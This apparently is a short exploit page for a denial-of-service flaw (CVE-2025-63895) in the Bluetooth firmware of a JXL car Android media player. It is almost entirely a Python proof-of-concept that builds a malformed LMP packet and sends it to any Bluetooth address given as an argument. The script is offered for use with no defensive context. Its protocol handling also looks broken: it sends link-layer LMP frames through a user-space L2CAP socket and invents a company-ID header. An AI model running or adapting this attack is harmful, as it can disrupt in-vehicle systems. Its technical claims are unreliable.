JXL 9寸车载安卓播放器蓝牙固件LMP数据包DoS漏洞 (CVE-2025-63895)

#!/usr/bin/env python3 # CVE-2025-63895 PoC - JXL Car Media Player Bluetooth DoS # Description: Send crafted LMP packet to trigger DoS on JXL Bluetooth firmware import struct import socket import sys def create_crafted_lmp_packet(): """Create a malformed LMP packet to trigger vulnerability""" # LMP opcode for feature request (0x01) - can be modified lmp_opcode = 0x01 # Create LMP PDU header # LMP format: Company ID (3 bytes) + Opcode + Payload company_id = 0x00001F # Bluetooth SIG assigned company ID # Crafted payload with invalid parameters # This triggers buffer/process error in firmware payload = bytes([ 0xFF, 0xFF, 0xFF, 0xFF, # Invalid feature mask 0x00, 0x00, 0x00, 0x00 # Additional malformed data ]) # Construct LMP packet lmp_packet = struct.pack('>I', company_id)[1:] # 3 bytes company ID lmp_packet += bytes([lmp_opcode]) lmp_packet += payload return lmp_packet def send_bluetooth_dos(target_bdaddr, lmp_packet): """Send crafted LMP packet via Bluetooth L2CAP connection""" try: # Create Bluetooth socket sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_L2CAP) sock.connect((target_bdaddr, 0x0001)) # L2CAP Signalling Channel # Send crafted LMP packet sock.send(lmp_packet) sock.close() print(f"[+] Crafted LMP packet sent to {target_bdaddr}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_bluetooth_address>") print(f"Example: {sys.argv[0]} AA:BB:CC:DD:EE:FF") sys.exit(1) target = sys.argv[1] packet = create_crafted_lmp_packet() print(f"[*] Sending crafted LMP packet to trigger CVE-2025-63895...") send_bluetooth_dos(target, packet)